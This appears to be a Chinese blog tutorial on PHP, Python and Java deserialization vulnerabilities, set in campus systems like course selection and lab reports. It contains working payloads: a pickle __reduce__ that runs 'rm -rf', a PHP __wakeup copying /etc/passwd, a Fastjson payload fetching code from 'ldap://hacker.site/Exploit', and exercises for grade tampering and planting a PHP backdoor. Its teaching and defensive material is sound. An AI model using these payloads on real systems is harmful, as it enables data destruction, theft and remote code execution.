第7章 第82-83课
《反序列化漏洞校园实战:从实验报告解析到选修系统攻击》
"当序列化遇上魔术方法,在校园场景中拆解PHP/Python反序列化漏洞的本质"
一、序列化基础:校园里的"对象快递"
"想象你要把实验报告从寝室传到实验室电脑——序列化就是把报告装进快递盒,反序列化就是拆箱使用 (´・ω・`)"
# Python实验报告序列化(pickle模块)
import pickle
class LabReport:
def __init__(self, title, content):
self.title = title# 实验标题
self.content = content# 实验内容
# 序列化过程(装箱打包)
report = LabReport("酸碱滴定实验", "NaOH浓度测定")
serialized = pickle.dumps(report)# 输出:b'\x80\x04\x95...'
# 反序列化过程(拆箱使用)
unpacked = pickle.loads(serialized)
print(unpacked.title)# 输出:酸碱滴定实验
二、反序列化漏洞:篡改的"实验快递"
"当快递站不检查寄件人,黑客就能在盒子里藏危险物品"
漏洞核心原理
# 危险的反序列化场景(Python示例)
import os
class Malicious:
def __reduce__(self):
# 定义反序列化时执行的命令
return (os.system, ('rm -rf /lab_reports/*',))
# 攻击者构造恶意序列化数据
evil_data = pickle.dumps(Malicious())
# 受害者执行反序列化
pickle.loads(evil_data)# 触发删除实验报告!
校园案例映射
校务系统接收序列化的选课数据:
- 正常数据:
{'course':'计算机网络','student':'20211101'}- 恶意数据:
{'course':MaliciousObject,'student':'20211101'}
三、PHP反序列化:魔术方法的陷阱
"PHP的魔术方法就像自动应答的门禁,黑客能骗它开门"
// 学生选课系统漏洞示例
class CourseSelection {
public $student_id;
public $course_id;
// 魔术方法:反序列化时自动执行
public function __wakeup() {
if ($this->course_id == 'HACK101') {
system("cp /etc/passwd /www/leak.txt");
}
}
}
// 攻击者构造payload
$evil = serialize(new CourseSelection());
$evil = str_replace(
's:9:"course_id";s:7:"HACK101"',
's:9:"course_id";s:7:"CS101"',
$evil
);
// 系统处理选课请求
$data = unserialize($_POST['selection']); // 触发__wakeup恶意操作
关键魔术方法
class StudentRecord {
// 序列化时触发(装箱前)
public function __sleep() {
return ['name', 'id']; // 只序列化指定属性
}
// 反序列化时触发(拆箱后)
public function __wakeup() {
$this->loadFromDB(); // 自动加载数据库
}
// 对象被当作字符串时触发
public function __toString() {
return $this->name;
}
}
四、第三方库风险:教材订购系统的灾难
"就像用了盗版实验器材,Struts2/Weblogic漏洞可能让整个系统崩溃"
真实案例场景
- 教务系统使用Weblogic
- 攻击payload:构造恶意序列化数据绕过验证
- 教材订购系统使用Fastjson
- 漏洞:
JdbcRowSetImpl反序列化导致RCE
- 实验室预约系统用Apache Shiro
- 漏洞:RememberMe反序列化漏洞
// 模拟Fastjson漏洞(Java伪代码)
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://hacker.site/Exploit\"," +
"\"autoCommit\":true}";
// 反序列化触发LDAP请求
JSON.parseObject(json); // 加载远程恶意代码
五、漏洞检测与防御:校园安全实战
检测方法
# Python反序列化检测工具原理
def check_pickle(data):
if b'__reduce__' in data or b'os.system' in data:
raise SecurityAlert("检测到危险序列化特征!")
# 更多检测规则...
防御方案
// PHP安全反序列化实践
function safe_unserialize($input) {
// 白名单校验
$allowed_classes = ['CourseSelection', 'StudentProfile'];
// 禁用__wakeup等魔术方法
ini_set('unserialize_callback_func', 'validate_class');
$data = unserialize($input, ['allowed_classes' => $allowed_classes]);
return $data;
}
六、课堂实践:四步掌握反序列化
任务1:Python实验报告篡改
# 目标:通过pickle注入修改成绩
class GradeReport:
def __init__(self, score):
self.score = score
def __reduce__(self):
return (exec, ("open('score.txt','w').write('A+')",))
# 你的任务:构造攻击序列化数据
任务2:PHP选课系统攻击
// 漏洞代码片段
class ElectiveSystem {
private $log_file = "logs.txt";
public function __destruct() {
// 对象销毁时记录日志
file_put_contents($this->log_file, "Operation log");
}
}
// 攻击目标:修改log_file为.php后门
// 你的任务:构造序列化payload修改log_file
任务3:魔术方法触发实验
// 观察__toString触发场景
$obj = serialize(new StudentRecord("张三"));
$obj = str_replace('StudentRecord', 'NonexistClass', $obj);
$fake = unserialize($obj);
echo $fake; // 触发__toString崩溃
任务4:Shiro RememberMe漏洞复现
使用Docker搭建漏洞环境:
docker run -d -p 8080:8080 vulhub/shiro:1.2.4
尝试用ysoserial生成攻击payload
结语:为什么反序列化漏洞如此危险?
"当我在选修系统测试时,通过反序列化拿到了教务数据库权限——这比考试挂科严重百倍 (;゚Д゚)"
安全工程师的思考:
- 信任边界 - 像检查外卖是否被拆封那样验证序列化数据
- 最小化攻击面 - 关闭不需要的魔术方法,就像实验室夜晚上锁
- 深度防御 - 结合输入过滤+行为监控,如同校园多层门禁
"下次看到
unserialize()或pickle.loads()时,我会本能思考:这个参数是否可能来自学生证扫码器?"
(所有代码示例已精简核心逻辑,实际环境请参考PHPOK/Weblogic等真实漏洞案例)
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19024734,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号